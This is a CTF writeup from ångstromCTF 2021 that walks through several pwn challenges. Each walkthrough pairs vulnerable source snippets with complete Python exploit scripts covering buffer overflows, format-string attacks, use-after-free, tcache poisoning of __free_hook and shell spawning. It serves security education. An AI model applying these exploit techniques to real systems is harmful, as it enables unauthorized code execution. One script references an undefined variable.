ångstromCTF 2021 Writeups
2021-04-08 11:52:45 Author: ptr-yudai.hatenablog.com(查看原文) 阅读量:278 收藏

This week I played ångstromCTF 2021 in zer0pts and we stood the 3rd place.

f:id:ptr-yudai:20210408114919p:plain

I solved all of the pwn tasks + some rev tasks*1 + bug-finding part of thunderbolt (crypto). As there're many number of challenges, I'm only going to write about the pwn tasks.

We're given the binary and its source code. The challenge is to bypass the following authentication.

fgets(input, 128, stdin);
if (strcmp(input, password) == 0) {

The password is generated randomly.

void generate_password() {
        FILE *file = fopen("/dev/urandom","r");
        fgets(password, 128, file);
        fclose(file);
}

strcmp terminates the comparison at the null byte. We can abuse the fact to bypass the auth by comparing an empty string and an empty password.

from ptrlib import *

sock = SSH("shell.actf.co", 22, "team token", "team password")

sock.sendlineafter("$ ", "cd /problems/2021/secure_login/")

logger.info("Connected!")
while True:
    sock.sendlineafter("$ ", "./login")
    sock.recvline()
    sock.recvline()
    sock.sendline('\x00')
    sock.recvline()
    l = sock.recvline()
    print(l)
    if b'Wrong' in l:
        continue
    break

sock.interactive()

Just a simple buffer overflow.

int vuln(){
    char password[64];
    
    puts("Enter the secret word: ");
    
    gets(&password);
    
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! The flag is somewhere else though...");
    } else {
        puts("Login failed!");
    }
    
    return 0;
}

No PIE and no canary.

from ptrlib import *

elf = ELF("./tranquil")

sock = Socket("nc shell.actf.co 21830")

rop_ret = 0x0040101a

sock.recvline()
payload  = b'A' * (64 + 8)
payload += p64(rop_ret)
payload += p64(elf.symbol('win'))
sock.sendline(payload)

sock.interactive()

Again, obvious buffer overflow.

    gets(&password);
    
    if(strcmp(password, "password123") == 0){
        puts("Logged in! Let's just do some quick checks to make sure everything's in order...");
        if (ways_to_leave_your_lover == 50) {
            if (what_i_cant_drive == 55) {
                if (when_im_walking_out_on_center_circle == 245) {
                    if (which_highway_to_take_my_telephones_to == 61) {
                        if (when_i_learned_the_truth == 17) {
                            char flag[128];
                            
                            FILE *f = fopen("flag.txt","r");
                            ...

We don't need to pass the constraints.

from ptrlib import *

elf = ELF("./checks")

sock = Socket("nc shell.actf.co 21303")

payload = b"A" * 0x60
payload += p64(elf.section('.bss') + 0x100)
payload += p64(0x40125a)
sock.sendline(payload)

sock.interactive()

Obvious FSB and the flag is on the stack.

    FILE *f = fopen("flag.txt","r");
    if (!f) {
        printf("Missing flag.txt. Contact an admin if you see this on remote.");
        exit(1);
    }
    fgets(&(boshsecrets.flag), 128, f);
    
    
    puts("Name: ");
    
    fgets(name, 6, stdin);
    
    
    printf("Welcome, ");
    printf(name);
    printf("\n");

Just leak it.

from ptrlib import *

flag = b''
for i in range(114514):
    sock = Socket("nc shell.actf.co 21820")
    sock.recvline()
    sock.sendline("%{}$p".format(33 + i))
    l = sock.recvlineafter("Welcome, ")
    if l == b'(nil)': break
    flag += p64(int(l, 16))
    sock.close()

print(flag)

The binary is made by C++ but we have the source code again :+1: Our goal is set skill to 1337 in the following structure.

struct character {
        int health;
        int skill;
        long tokens;
        string name;
};

However, this field is never initialized.

void play() {
        string action;
        character player;
        cout << "Enter your name: " << flush;
        getline(cin, player.name);
        cout << "Welcome, " << player.name << ". Skill level: " << player.skill << endl;

At the address of player.skill comes the leftover value of std::string agreement in the previously called function terms_and_conditions.

        cout << "Do you agree to the terms and conditions? " << flush;
        cin >> agreement;

So, we just have to put 1337 there.

from ptrlib import *


sock = Socket("nc shell.actf.co 21300")

sock.sendlineafter("? ", "1")
sock.sendlineafter("? ", b"AAAA" + p32(1337) + b'CCCC')
sock.sendlineafter("? ", "yes")
sock.sendlineafter(": ", "aaaabbbbcccc")
sock.sendlineafter(": ", "111122223333")
sock.sendlineafter("? ", "2")

sock.interactive()

We're given a chess game and its source code. There're multiple vulnerability but the most notable one is this:

int smite_piece(char** b, int x, int y) {
    if (is_letter(b[y][x])) {
        b[y][x] = t;
        return 0;
    }
    return 1;
}

is_letter check if the character is an alphabet. There's no boundary check on the integer x and y. t is the number of moves we've made so far. So, basically we can overwrite "alphabets" with arbitrary bytes. b is the board allocated on the heap and we need to know its address in order to take advantage of this vulnerability.

Another notable vulnerability is use-after-free. We can see the board even after it's freed. I used this vulnerability to leak the heap address first.

new(0)
new(1)
delete(1)
delete(0)
show(0)
addr_heap = u64(sock.recvlineafter("0 "))
heap_base = addr_heap - 0x1350
logger.info("heap = " + hex(heap_base))

How can we abuse the primitive of "overwriting alphabets"? First of all, I noticed the following string located at the bss section.

char starting[] =
    "RNBKQBNR\x00PPPPPPPP\x00........\x00........\x00........\x00........"
    "\x00pppppppp\x00rnbkqbnr";

Those consecutive alphabets can be used to put arbitrary address. My idea is corrupt tcache so that the link becomes like this:

tcache --> ... --> starting

Then, modifying RNBKQBNR to somewhere around __free_hook make the link like this:

tcache --> ... --> starting --> __free_hook

Now we consume the tcache until we pop __free_hook. When making a new board, starting is copied to the board.

char* make_board(char** b) {
    char* bigmem = (char*)malloc(tiles * (tiles + 1) * sizeof(char));
    memcpy(bigmem, starting, sizeof(starting));
    for (int i = 0; i < tiles; i++) {
        b[i] = bigmem + i * 9;
    }
    return bigmem;
}

This can be used to write an arbitrary value.

The question is: Can we link the tcache to starting?

The answer is mostly no but sometimes yes. I tried until I get "alphabetical" heap address. Then we can modify the linked list by the first vulnerability.

from ptrlib import *

def new(index):
    sock.sendlineafter("Delete Board\n", "1")
    sock.sendlineafter("?\n", str(index))
def delete(index):
    sock.sendlineafter("Delete Board\n", "5")
    sock.sendlineafter("?\n", str(index))
def show(index):
    sock.sendlineafter("Delete Board\n", "2")
    sock.sendlineafter("?\n", str(index))
def smite(index, x, y):
    sock.sendlineafter("Delete Board\n", "4")
    sock.sendlineafter("?\n", str(index))
    sock.sendlineafter(".\n", str(x) + " " + str(y))
def move(index, sx, sy, dx, dy):
    global t
    sock.sendlineafter("Delete Board\n", "3")
    sock.sendlineafter("?\n", str(index))
    sock.sendlineafter(".\n", str(sx) + " " + str(sy))
    sock.sendlineafter(".\n", str(dx) + " " + str(dy))
    t += 1
kx = 0b01
def keima_pivot(index):
    global kx
    if kx == 0b01:
        move(index, 1, 7, 2, 5)
    else:
        move(index, 2, 5, 1, 7)
    kx ^= 0b11
t = 0
def overwrite(addr, c):
    print((0x100 + c - t) & 0xff)
    for i in range((0x100 - t + c) & 0xff):
        keima_pivot(0)
    smite(0, addr - addr_board_0, 0)
def is_letter(c):
    return ord('a') <= c <= ord('z') or ord('A') <= c <= ord('Z')

elf = ELF("./pawn")
libc = ELF("./libc.so.6")

while True:
    
    sock = Socket("nc shell.actf.co 21706")

    
    new(0)
    new(1)
    delete(1)
    delete(0)
    show(0)
    addr_heap = u64(sock.recvlineafter("0 "))
    addr_board = addr_heap - 0xa0
    addr_board_0 = addr_heap - 0x50
    heap_base = addr_heap - 0x1350
    logger.info("heap = " + hex(heap_base))

    
    p = heap_base + 0x13f0
    key = (p >> 16) & 0xff
    if not is_letter((p >> 8) & 0xff) \
       or (not is_letter(key) and key != 0x40):
        logger.warn('Bad luck!')
        sock.close()
        continue

    logger.info("board = " + hex(addr_board))
    logger.info("board[0] = " + hex(addr_board_0))

    
    new(0)
    new(1)
    new(2)
    if key != 0x40:
        overwrite(heap_base + 0x13fa, 0x40)
    overwrite(heap_base + 0x13f9, 0x40)
    overwrite(heap_base + 0x13f8, 0x80)
    show(2)
    libc_base = u64(sock.recvlineafter("1 ")) - libc.symbol('_IO_2_1_stdout_')
    logger.info("libc = " + hex(libc_base))

    
    delete(0)
    delete(1)
    delete(2)
    overwrite(heap_base + 0x1440, 0x20)
    overwrite(heap_base + 0x1441, 0x40)
    if key != 0x40:
        overwrite(heap_base + 0x1442, 0x40)

    
    writes = {}
    victim = libc_base + libc.symbol('__free_hook') - 0x40
    for i in range(8):
        writes[0x404020 + i] = (victim >> (i*8)) & 0xff
    target = libc_base + 0xe6c81
    for i in range(7):
        writes[0x404060 + i] = (target >> (i*8)) & 0xff
    for write in sorted(writes.items(), key=lambda k:(0x100+k[1]-t)&0xff):
        overwrite(write[0], write[1])

    
    new(0)
    new(1)
    delete(0)

    sock.interactive()
    break

Finally, source code not provided :(

The challenge is FSB with filter. We cannot use the following characters: AEFGXadefgiopsux and can use c only once. Before igniting the FSB, there's one out-of-bound pointer read, with which we can leak an address.

I don't like to explain this kind of FSB puzzle, so I just leave the exploit.

from ptrlib import *

def is_allowed(s):
    if s.count('c') > 1:
        raise Exception("more than 1 'c'")
    for c in s:
        if c in 'AEFGXadefgiopsux':
            raise Exception(f"invalid char '{c}'")

libc = ELF("./libc.so.6")

while True:
    
    sock = Socket("nc pwn.2021.chall.actf.co 21800")

    
    sock.sendlineafter("stonks!\n", "1")
    sock.sendlineafter("?\n", "43")
    addr_ret = u64(sock.recvline()) - 0x108
    logger.info("ret = " + hex(addr_ret))
    if addr_ret < 0:
        logger.warn("Bad luck!")
        sock.close()
        continue

    
    payload = ''
    payload += '%*%' * (5 + 0x2d - 1)
    payload += '%{}c'.format((addr_ret & 0xffff) - 0x31)
    payload += '%hn'
    if (addr_ret & 0xff) <= 0x4d:
        payload += '.' * (0x4d - (addr_ret & 0xff))
    else:
        payload += '.' * (0x14d - (addr_ret & 0xff))
    payload += '%{}$hhn'.format(5 + 0x49)
    payload += '\n'
    if len(payload) >= 0x12c:
        logger.warn("Bad luck!")
        sock.close()
        continue
    payload += '\x00' * (0x12c - len(payload))
    sock.sendafter("?\n", payload)
    sock.recvline()
    sock.recvline()

    
    sock.sendlineafter("?\n", "-16")
    libc_base = u64(sock.recvline()) - libc.symbol('_IO_2_1_stdout_')
    logger.info("libc = " + hex(libc_base))

    target = libc_base + 0xdf54f
    victim = 0x404068
    
    for i in range(6):
        
        payload = ''
        if i == 0:
            payload += '%{}c'.format((victim + i) & 0xffff)
            payload += '%{}$hn'.format(5 + 0x2b)
        else:
            payload += '%{}c'.format((victim + i) & 0xff)
            payload += '%{}$hhn'.format(5 + 0x2b)
        payload += '.' * (0x14d - ((victim + i) & 0xff))
        payload += '%{}$hhn'.format(5 + 0x49)
        payload += '\n'
        payload += '\x00' * (0x12c - len(payload))
        sock.sendafter("?\n", payload)
        sock.recvline()
        sock.recvline()
        
        sock.sendlineafter("?\n", "0")

        
        payload = ''
        payload += '%{}c'.format((target >> (i*8)) & 0xff)
        payload += '%{}$hhn'.format(5 + 0x4b)
        if ((target >> (i*8)) & 0xff) <= 0x4d:
            payload += '.' * (0x4d - ((target >> (i*8)) & 0xff))
        else:
            payload += '.' * (0x14d - ((target >> (i*8)) & 0xff))
        payload += '%{}$hhn'.format(5 + 0x49)
        payload += '\n'
        payload += '\x00' * (0x12c - len(payload))
        sock.sendafter("?\n", payload)
        sock.recvline()
        sock.recvline()
        
        sock.sendlineafter("?\n", "0")

    sock.sendlineafter("?\n", "panda-sensei")
    sock.interactive()
    break

Source code provided yay!

We can insert, modify, remove, display a list. By fuzzing the binary, I found the vulnerability.

for (vector<string>::iterator it = db.begin(); it != db.end(); it++) {
  ...
  if (find(op.removals.begin(), op.removals.end(), data) != op.removals.end())
    db.erase(it);
  ...
}

We can remove an element during the iteration. This usually just skips some elements and doesn't cause any crashes. However, we can cause a bug if we remove the element in the final iteration.

Let's denote the current address of db.end() as X. In the final iteration, it points the address X-8. By removing the element, db.end() becomes X-8. However, it is added by 8 at the end of the iteration and becomes X. Then, it != db.end() holds because X != X-8, and the iteration won't stop. Fortunately C++ conducts some assertion checks and the program won't crash (since it's caught in the main function). If we can put a fake std::string next to db, we may do some operations on the fake string.

My idea is

  1. Prepare a leftover of freed std::string next to db and leak the heap address by display
  2. Prepare a fake std::string which points to the main_arena address on the heap, then leak it again by display
  3. Prepare a fake std::string which points to __free_hook, then overwrite it by modify

I like this challenge :-)

from ptrlib import *

def insert(data):
    return f' insert {data}'
def remove(data):
    return f' remove {data}'
def modify(data, index, char):
    return f' modify {data} to be {char} at {index}'
def display():
    return " display everything"
def execute(code):
    sock.sendlineafter("> ", code)

libc = ELF("./libc.so.6")

sock = Socket("nc shell.actf.co 21321")

"""
Step 1. heap leak
"""
code = ''
code += insert('A' * 0x10)
code += insert('B' * 0x10)
code += insert('C' * 0x10)
code += remove('C' * 0x10)
execute(code)
code = remove('B' * 0x10)
execute(code)
code = display()
code += remove('A' * 0x10)
execute(code)
addr_heap = u64(sock.recvline()[:8])
logger.info("heap = " + hex(addr_heap))

"""
Step 2. libc leak
"""
payload  = b'A' * 0xc0
payload += p64(addr_heap + 0x20) 
payload += p64(0x8)
payload += p64(0x8)
payload += p64(0)
payload += b'A' * (0x100 - len(payload))
execute(payload)
code = ''
for i in range(6):
    code += insert(chr(0x41 + i) * 8)
execute(code)
payload = b'X' * 0x420
execute(payload)
code = display()
code += remove(chr(0x46) * 8)
execute(code)
for i in range(5):
    sock.recvline()
libc_base = u64(sock.recvline()) - libc.main_arena() - 0x70
logger.info("libc = " + hex(libc_base))

"""
Step 3. AAW to win
"""
payload  = b'B' * 0x1a0
payload += p64(libc_base + libc.symbol('__free_hook')) 
payload += p64(8)
payload += p64(8)
payload += p64(0)
payload += b'B' * (0x200 - len(payload))
execute(payload)
code = ''
for i in range(8):
    code += insert(chr(0x61 + i) * 8)
code += remove(chr(0x68) * 8)
target = libc_base + libc.symbol('system')
for i in range(6):
    code += modify('\x00' * 8, i, chr((target >> (i*8)) & 0xff))
execute(code)

"""
Step 4. Execute command
"""
execute("/bin/sh" + "\0"*0x10)

sock.interactive()

First blood :P

No source code :(

Although the binary is pretty big, the vulnerability is obvious.

  1. Obvious address leak in the bingo form
  2. Obvious use-after-free in the linked list of the bingo

Just chain them.

from ptrlib import *

def mark(x, y):
    sock.sendlineafter(": ", "1")
    sock.sendlineafter(": ", f'{x} {y}')
def view(x, y):
    sock.sendlineafter(": ", "2")
    sock.sendlineafter(": ", f'{x} {y}')
def reset(index, is_row=True):
    sock.sendlineafter(": ", "3")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", 'r' if is_row else 'c')
def check_bingo(index, is_row=True):
    sock.sendlineafter(": ", "4")
    sock.sendlineafter(": ", str(index))
    sock.sendlineafter(": ", 'r' if is_row else 'c')
def check_bingos():
    sock.sendlineafter(": ", "5")
def change_marker(marker):
    sock.sendlineafter(": ", "6")
    sock.sendafter(": ", marker)
def winner(size, name):
    sock.sendlineafter(": ", str(size))
    sock.sendafter(": ", name)

libc = ELF("./libc.so.6")

sock = Socket("nc pwn.2021.chall.actf.co 21840")

sock.sendafter(": ", "legoshi")


for i in range(5):
    mark(1, i)
check_bingos()
sock.sendlineafter('? ', 'y')
winner(0x27, b'A'*0x18 + b'\x20\xb1')
proc_base = u64(sock.recvlineafter("A"*0x18)[:6]) - 0x5120
logger.info("proc = " + hex(proc_base))


view(1, 4)
logger.info("Re-try if nothing appears in 1 sec")
libc_base = u64(sock.recvlineafter(": ")) - libc.symbol('_IO_2_1_stderr_')
logger.info('libc = ' + hex(libc_base))
if libc_base > 0x7fffffffffff or libc_base < 0:
    logger.warn("Bad luck!")
    exit()


change_marker(p64(libc_base + target)) 
mark(1, 1)
reset(0, is_row=True)


change_marker(p64(libc_base + 0xe6c7e))
mark(1, 2)

sock.sendlineafter(": ", "3")
sock.sendlineafter(": ", "0")
sock.sendlineafter(": ", "X")

sock.interactive()

*1:jailbreak, flag submission server, masochistic snake + infinity gauntlet, lockpicking, mosquito with the help of x0r19x91 sensei


文章来源: https://ptr-yudai.hatenablog.com/entry/2021/04/08/115245
如有侵权请联系:admin#unsafe.sh